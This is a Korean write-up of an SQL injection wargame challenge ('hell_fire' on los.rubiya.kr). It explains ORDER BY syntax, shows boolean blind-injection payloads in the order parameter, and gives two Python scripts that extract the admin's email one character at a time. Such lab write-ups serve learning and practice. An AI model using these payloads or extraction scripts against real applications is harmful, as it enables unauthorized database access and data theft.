새로운 문제 유형이 나왔다.

 

공격 백터는 order, email 입력 값에 대한 검증은 밑과 같다.
order 필터링 : prob, _, ., proc, union
email addslashes() : ', ", \, null 바이트 -> \', \", \\, \null 바이트

 

문제를 클리어하기 위해선 admin의 email 값을 알아내야한다.

 

첫번째 쿼리문은 select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}로 order by를 이용하여 정렬을 시켜서 반환 값을 표로 출력한다.

Order by 절의 기본 구조

SELECT * FROM table_name ORDER BY column_name (ASC, DESC)
데이터를 지정된 컬럼으로 정렬하기 위한 SQL 문이다.
ASC는 오름차순이고 DESC은 내림차순이다. 설정을 안해주면 기본값으로 ASC가 설정된다.

Order by 절의 각종 사용 방법

  • 기본 형태
    SELECT * FROM table_name ORDER BY column_name
  • ALIAS 사용
    SELECT sal + comm AS total FROM emp ORDER BY total
  • 열의 숫자를 사용
    SELECT * FROM table_name ORDER BY 3
    3번째 열을 기준으로 정렬하는 쿼리
  • 여러 열을 기준으로 사용
    SELECT * FROM table_name ORDER BY 3, 1 DESC
    3번째 열을 기준으로 ASC로 정렬한 상태에서 1번째 열을 기준으로 DESC으로 정렬하는 쿼리

Order by 절을 이용한 Injection

위와 같이 Boolean으로도 정렬이 가능하다.

 

또한 () 묶음 안에 또 다른 SQL 쿼리를 넣어서 정렬도 가능하다.
이를 이용하여 SQL Injection이 가능하다.

 

예시로 id를 이용한 SQLI이다.
이제 어떻게 Injecion을 하는 방법을 알았으니, email의 길이를 구해보도록 하겠다.

 

?order=if(id='rubiya' and LENGTH(email)=18,1,0)

나는 if문을 이용하여 email의 길이를 구해보겠다. 위의 사진은 rubiya 계정으로 테스트한 모습이다.

 

?order=if(id='rubiya' and LENGTH(email)=1,1,0)

만약 False면 두 계정의 위치가 반대로 나오게 된다.

 

?order=if(id='admin' and LENGTH(email)=1,1,0)

위와 같이 참을 1로 잡으면 0일 때와 위치가 같으므로 이번엔 수정을 해줘야 참과 거짓의 결과가 다르게 나온다.

 

?order=if(id='admin' and LENGTH(email)=1,0,1)
?order=if(id='admin' and LENGTH(email)=28,0,1)

admin의 email 길이를 구할 수 있었다.

 

import requests, string

url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
headers = {'Cookie': 'PHPSESSID=iegqpi5jat9ttonpb159g4baim'}

def pwParser():
    result = ''
    for num in range(1, 28+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?order=if(SUBSTR((SELECT email WHERE id='admin'),{num},1)='{s}',0,1)"
            res = requests.get(url + parameter, headers=headers)

            if "<th>score</th><tr><td>admin" in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break
    print(result)

pwParser()

자꾸 6번째 값이 출력되지 않는다….
혹시 특수문자가 문자 그대로 들어가서 URL에서 인식을 못한 거 같아서 HEX값으로 다시 한번 보내봤다.

 

import requests, string

url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
headers = {'Cookie': 'PHPSESSID=iegqpi5jat9ttonpb159g4baim'}

def pwParser():
    result = ''
    for num in range(1, 28+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?order=if(SUBSTR((SELECT email WHERE id='admin'),{num},1)={hex(ord(s))},0,1)"
            res = requests.get(url + parameter, headers=headers)

            if "<th>score</th><tr><td>admin" in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break
    print(result)

pwParser()

하지만 19번째 값이 찾지를 못하였다.

 

하지만 결과를 보니, 어떤 문자가 없는 지를 알 수 있었다.
이메일에서 가장 필요한 @이 없었다.

 

추측한 대로 @를 삽입하니 클리어할 수 있었다.

복사했습니다!